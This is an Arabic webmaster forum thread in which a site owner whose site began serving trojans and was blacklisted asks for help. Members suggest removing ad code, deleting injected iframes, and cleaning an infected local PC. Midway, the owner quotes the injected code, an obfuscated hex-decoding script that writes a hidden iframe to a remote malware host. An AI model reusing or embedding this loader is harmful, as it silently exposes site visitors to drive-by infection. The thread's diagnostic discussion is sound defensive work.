[ فجأة .. أصبح الموقع يرسل فيروسات وتروجان عند الدخول اليه ] ما الحل ..؟؟

[yosry]

السلام عليكم
كما هو العنوان موضح

فجأة الموقع عند الدخول عليه وعلى - بعض - اقسامه تجد انه ينزل لك فيروس او تروجان ..
وهذا أدى الى ان جوجل يدرج الموقع في قائمة (المواقغ المضرة بالجهاز) وبالتالى الزوار تناقصوا الى الصفر .. هذه كارثة ..
تم عمل اسكان على الموقع ووجد انه خالى تماما من الفيروس او التروجان او الشيل ..
تم رفع الصفحات مرة اخرى .. ولازالت المشكلة قائمة ..
كود الصفحة خالى تماما من هذه التروجنات او الفيروسات
للعلم .. الفيروسات والتروجان تأتى من مواقع اخرى


الموقع هو :

www.arabs2day.ws


انظروا لحجم الكارثة
هذا هو ارشفة صفحات الموقع على جوجل .. انظروا ما هو المكتوب في جوجل
http://www.google.com/search?q=site:arabs2day.ws


اتمنى ان اجد حل لدى احدكم
وشكرا جزيلا
يسري صبري

[AHMED2]

نفس المشكلة و اتمني اعرف وين المشكلة


كيف سويت اسكان علي موقعك

[tntawyhost]

كانت توجد لدى هذه المشكلة فى موقعى

والحمد لله قمت بحلها

وهى الاعلانات
قمت بحزف اكواد الاعلانات من موقعى

وبعدها بيومان كان كل شئ تمام

وقولت توبه لو حطيت اعلانات تانى

[خالد الحربي]

هلا اخوي انا دخلت موقعك وظهر لي عادي ماافيه اي فيروسات

بس انا صارت لي هالمشكلة في العاب الفلاش بموقعي

كنت لما اادخل قسم العاب الفلاش
يظهر لي الكاسبر ويحذف الفايروس

فبحثت بالملفات ووجدت الفايروس ككود موجود ف ملف index.php

بأسم IFRAME فحذفت السطر الاخير رفعت الملف فأختفى ولله الحمد

[yosry]

تقصد اي نوع من الاعلانات التى ازلتها ؟؟؟
ادبريت او ادسنس

[tntawyhost]

والله يا يسرى الاعلانات اللى عاملة مشكلة ادبرت
وكمان اعلانات الموقع دة adengage

تقريبا كان هوة سبب المشكلة

والله اعلم

لاكن حاول تشيل اى اعلانات عندك

وانتظر يوم او اتنين

[vb3vb3]

هلا اخوي انا دخلت موقعك وظهر لي عادي ماافيه اي فيروسات

بس انا صارت لي هالمشكلة في العاب الفلاش بموقعي

كنت لما اادخل قسم العاب الفلاش
يظهر لي الكاسبر ويحذف الفايروس

فبحثت بالملفات ووجدت الفايروس ككود موجود ف ملف index.php

بأسم IFRAME فحذفت السطر الاخير رفعت الملف فأختفى ولله الحمد

اخوي بالفعل انا لقيت نفس الشيء مثل ماقال اخوي خالد

تلاقي ملف index.php بأسم IFRAME سو له دليت


بداح

[المصمم 2005]

نفس الكلام اخوي ... ركب الكاسبر فلاي وشوف الصفحة اللي فيها المشكلة ... وبعدين افتحها ودور على سطر او سطرين فيه اي فريم واحذفة وبعدها راسل هذي الشركة لانها المسؤالة عن اضافة المواقع وازالتها من اقائمة السوداء وقول لهم نصا انه تم حذف التروجان والذي كان عبارة عن اي فريم وخلال مده اقصاه 5 ايام تروح المشكلة بإذن الله :

http://www.stopbadware.org/reports/c....arabs2day.ws/

الله يعينك اخوي .
تحياتي .

[yosry]

شكرا لمروركم الكريم
لكن ..
بعد ان جلست طول اليوم انظف الموقع وصفحاته جميعا من كود الـ iframe
مع صباح اليوم التالى .. رجع التروجان مرة اخرى واحدث تروجان في عالم التروجان ..
والكود تفير من iframe

الى

<script>function v46bafea8c708d(v46bafea8c77da){ function v46bafea8c7fa0 () {return 16;} return(parseInt(v46bafea8c77da,v46bafea8c7fa0()));}function v46bafea8c8f46(v46bafea8c9721){ var v46bafea8c9f27='';for(v46bafea8ca6a5=0; v46bafea8ca6a5<v46bafea8c9721.length; v46bafea8ca6a5+=2){ v46bafea8c9f27+=(String.fromCharCode(v46bafea8c708d(v46bafea8c9721.substr(v46bafea8ca6a5, 2))));}return v46bafea8c9f27;} document.write(v46bafea8c8f46('3C696672616D65206E616D653D27313027207372633D27687474703A2F2F616C6C747 26166662E72752F696672616D652E706870272077696474683D323735206865696768743D333131207374796C653D2764697 3706C61793A6E6F6E65273E3C2F696672616D653E'));</script>


اتمنى من لديه حل كيف يتم ادخال هذه الاكواد الى صفحات الموقع
شكرا لكم

[artint.net]

شيل الانت كاتبه
دا
كود vbscribt
فيرس يتم زرعه

[Arab Files]

شكرا لمروركم الكريم
لكن ..
بعد ان جلست طول اليوم انظف الموقع وصفحاته جميعا من كود الـ iframe
مع صباح اليوم التالى .. رجع التروجان مرة اخرى واحدث تروجان في عالم التروجان ..

حصلت لي هذه المشكلة وتعبت منها ومليت
في كل مرة انظف ملفات الإندكس تعود مرة أخرى لها
حاولت البحث عن ملفات غريبة داخل الموقع ووجدتها وحذفتها وتراخيص 777 الغيتها
ثم قررت أن أحذف برنامج التحميل الذي استخدمه من جذوره وحملت برنامج آخر والحمدلله اختفت المشكلة.
ولي الآن حوالي شهر والوضع مستقر
وبالمناسبة تستطيع معرفة أي ملفات غريبة أو معدلة من خلال تاريخ التعديل
وبالمناسبة ايضاً الكود ينزرع في ملفات غير الاندكس ، مثل login و config
العملية متعبة ولكنها مفيدة وأنصحك بعملها
الله يعينك ويوفقك..

[yosry]

بالفعل .. قمت بحذف الكود من جميع صفحات الموقع ومع ذلك عادت مرة اخرى وبشكل اخر
استغفر الله العظيم .. الا يوجد حل ابدا ؟

[yosry]

للرفع لعل احدا واجهته هذه المشكلة
لا زالت المشكلة قائمة ولا حل لها ..

[yosry]

artint.net
ارجو ان توضح ما هو نوع الفيروس .. هل هو فيروس سببه الكمبيوتر ام نوع من انواع الاختراق
المهم كيف وصل الكود الى الصفحة ؟؟
شكرا جزيلا لك

[محمود الطيب]

السلام عليكم

مرحبا اخى العزيز

مشكلتك حصلتلى زمان

لاكن اوضحلك الكلام والسبب بالكامل


السبب فيرس يدخل الى الجهاز يدخل فى كل ملفات ال php + html + htm ويضيف فى اخر كل ملف 50 كود فريم يحول على صفحة فيها تروجانات

الحل حذف جميع الفريمات من صفحات موقعك ثم عدم رفع اى ملف htm او html او php من جهازك الى موقعك الآ بعد تنزيل ويندوس جديد وادخل على جهازك وامسح اكواد الفرام من جميع الصفحات على جهازك ومابترجع مرة ثانية

اما انك تمسحها وتعيد التشغيل الفرام بيرجع تانى - او تمسح الملف من موقعك وتيجى ترفعه تانى من جهازك بيرجع مرة تانى


فى انتظار حل مشكلتك .



اخوك
doda4des
www.doda4des.com
العضوية مستعارة .